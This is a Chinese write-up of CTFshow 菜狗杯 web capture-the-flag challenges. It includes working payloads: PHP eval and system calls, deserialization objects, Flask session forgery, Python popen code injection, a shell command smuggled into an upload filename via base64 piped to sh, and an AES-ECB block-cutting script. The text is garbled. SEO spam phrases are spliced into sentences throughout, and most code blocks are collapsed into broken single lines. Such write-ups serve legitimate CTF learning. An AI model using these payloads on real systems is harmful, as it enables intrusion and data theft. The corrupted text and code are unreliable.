软件定制开发供应商CTFSHOW菜狗杯 web

文章目录

web签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
  • 1

软件定制开发供应商简单的解释下这个嵌套

加入cookie中传入CTFshow-QQ群:=a软件定制开发供应商那么就会出现$_POST['a'],假如post软件定制开发供应商传入的值为a=b,软件定制开发供应商那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']
$_REQUEST就get、post软件定制开发供应商都可以接收啦。
加入再get传入c=123软件定制开发供应商那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
软件定制开发供应商但是最终是需要通过数软件定制开发供应商组下标的方式给到eval的。所以c软件定制开发供应商传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

web2 c0me_t0_s1gn

软件定制开发供应商注释里面有一半flag

软件定制开发供应商然后控制台运行g1ve_flag()得另一半flag

我的眼里只有$

又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

extract($_POST);eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
  • 1
  • 2

可以看到就是个变量覆盖然后再无限套娃。
假设我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b
以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。
不过这$属实是有点多,还是写个脚本吧

import strings = string.ascii_letters t='_=a&'code="phpinfo();"for i in range(35):    t+=s[i]+"="+s[i+1]+'&'t+=s[i]+'='+codeprint(t)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

抽老婆

下载页面存在文件读取。
随便读个文件,报错页面可以看出是python flask写的了。

读下源码试试file=../../app.py
有secret_keyapp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
后面还在session里面存在判断

session伪造没跑了,直接跑脚本https://github.com/noraj/flask-session-cookie-manager
先解密下看看结构

伪造下这个参数应该就可以了

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"
  • 1


然后拿着生成的session去访问secret_path_U_never_know即可拿到flag。

一言既出

<?phphighlight_file(__FILE__); include "flag.php";  if (isset($_GET['num'])){    if ($_GET['num'] == 114514){        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");        echo $flag;    } } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

?num=114514);//
  • 1

驷马难追

增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

?num=114514+1805296加号需要编码下?num=114514%2b1805296
  • 1
  • 2
  • 3

TapTapTap

游戏题,直接找js代码。
看到可以的地方

直接base64解码得到Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问该地址得到flag。

Webshell

非常简单的反序列化

<?php     class Webshell {        public $cmd = 'cat /f*;cat f*';    }echo serialize(new Webshell);?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

flag在源代码里面

化零为整

这道题也很有意思。
中文在php里面长度是3,其实很容易想到中文的url编码就是3个
比如的url编码就是%E5%A4%A7
所以这三个url编码字符拼接起来就是一个中文字符了
payload

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
  • 1

无一幸免

传个数组就可以了
?0[]=

传说之下(雾)

同样是游戏题,需要我们分数到2077才可以。
来个暴力点的方法,在js代码中找到和分数相关的变量。

可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个)
先开始比赛后暂停,找到下面的位置,把分数改掉。

然后ctrl+s保存下。
再随便吃一个死掉就可以拿到flag了。

flag在控制台里面

超群

一般碰到计算器就很容易和命令执行扯到一块。
随便计算下然后抓个包

_calculate?number1=&operator=&number2=966
有这么几个参数(number1、operator、number2)
输点乱七八糟的字符就可以看到报错信息了

经过测试对number1和operator有些过滤,但是number2没有。
payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()
  • 1

算力升级

这个题感觉质量还是不错的。
是个python的代码执行,但是有些过滤。

如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。
可以本地看下gmpy2

这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来
gmpy2.__builtins__['eval']('xxx')
而其中的eval可以通过'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。
因为命令太长了,我也懒得弄,所以就通过request.args['1']获得。
最终payload

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')GET:tiesuanzi?1=__import__('os').popen("cat /flag").read()等价于`gmpy2.__builtins__['eval']('eval(request.args["1"])')`
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

2

关键代码就一句
subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
其中cmd半可控,param可控 __file__是个固定值。
第一个参数作为命令,后面的都是该命令的参数
比如执行

`subprocess.run(['ls','/etc','/'])
  • 1

就等价于ls /etc /
会同时列出/和/etc下的文件及文件夹
cat也是如此。
有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数
payload

cmd=ls&param=.cmd=cat&param=flag.txt
  • 1
  • 2

遍地飘零

考察变量覆盖,最终只有一个地方可以输入var_dump($_GET);
所以我们就把要用的flag赋值给GET就好了
_GET=flag

茶歇区

这道题没搞懂咋回事,不过应该和溢出有关。

发送两次就可以了。
为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

小舔田?

很入门的反序列化,直接上payload了。

<?phpclass Moon{    public $name;}class Ion_Fan_Princess{    public $nickname="小甜甜";}$a = new Moon();$b = new Ion_Fan_Princess();$a->name=$b;echo serialize($a);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

LSB探姬

直接来看源码。

存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。
不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。
需要注意的点就是传入的用户名中不能有/估计还有一些其他的字符。
所以还是用base64编码来执行把

import requests url="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}#cat f*  > static/js/ansi_up.jsrequests.post(url+'upload',files=files)r2 = requests.get(url+'static/js/ansi_up.js')print(r2.text)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

Is_Not_Obfuscate

很迷的一道题,全靠蒙。

通过源代码可以得知
1、存在robots.txt。
2、当action=test时会执行input的内容,不过经过了一个decode

访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数

那很容易想到flag=1

内容如上。
刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。
这么看刚才出来的内容就像是需要的了。

input=类似于base64的东西&action=test
  • 1

得到源码

存在一个代码执行的点和一个文件写入的点。

大概意思就是假如我们传入output=phpinfo()&action=push,则会生成一个文件,路径为plugins/md5值该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。
内容是经过encode加密的。
然后如果在传入action=pull&input=刚才生成的文件路径就可以运行刚才的代码了。
payload

action=push&output=system('cat f*;cat /f*');action=pull&input=41fbd06940c629af4cff4d809d386324     system('cat f*;cat /f*');youyou的md5 
  • 1
  • 2

龙珠NFT

感觉更多的像是密码学题。
简单的解释下源码各个路由的功能
/
提供注册功能,会将用户名的md5作为session存入。
radar
单纯的一个界面,什么用没有。
find_dragonball
如果是第一次访问,那么dragonball就是固定值1。
否则访问后产生一个随机数范围是1-1000
如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。
并且每个用户都是只有十次机会。
get_dragonball
传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。
flag
有1-7号的dragonball就拿到flag。

大致看下去基本是无解。
即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。
唯一可能有问题的地方就是加密方法了。
可以看到它使用的是AES中的ECB。
而ECB是分段加密的

明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。
我们来看下要加密的内容
{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}
按16个分组后的结果

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2 022-10-19 15:06 :45"}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。
这时候就需要脑洞打开了。
如果我们把第五行删掉会出现什么情况呢

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball":  "9", "time":"2 022-10-19 15:06 :45"}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

import requestsimport base64import refrom urllib.parse import *url = 'http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'sess = requests.Session()sess.get(url+'?username=1')for i in range(7):    url1 = url + 'find_dragonball'    r1 = sess.get(url1)    a = r1.json()["address"]    b = base64.b64decode(a.encode()).hex()    c = b[:128]+b[160:]    d = quote(base64.b64encode(bytes.fromhex(c)).decode())    url2 = url + f'get_dragonball?address={d}'    r2 = sess.get(url2)    print(r2.text)r3  = sess.get(url+'flag')flag = re.findall('ctfshow{.*?}',r3.text)[0]print(flag)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发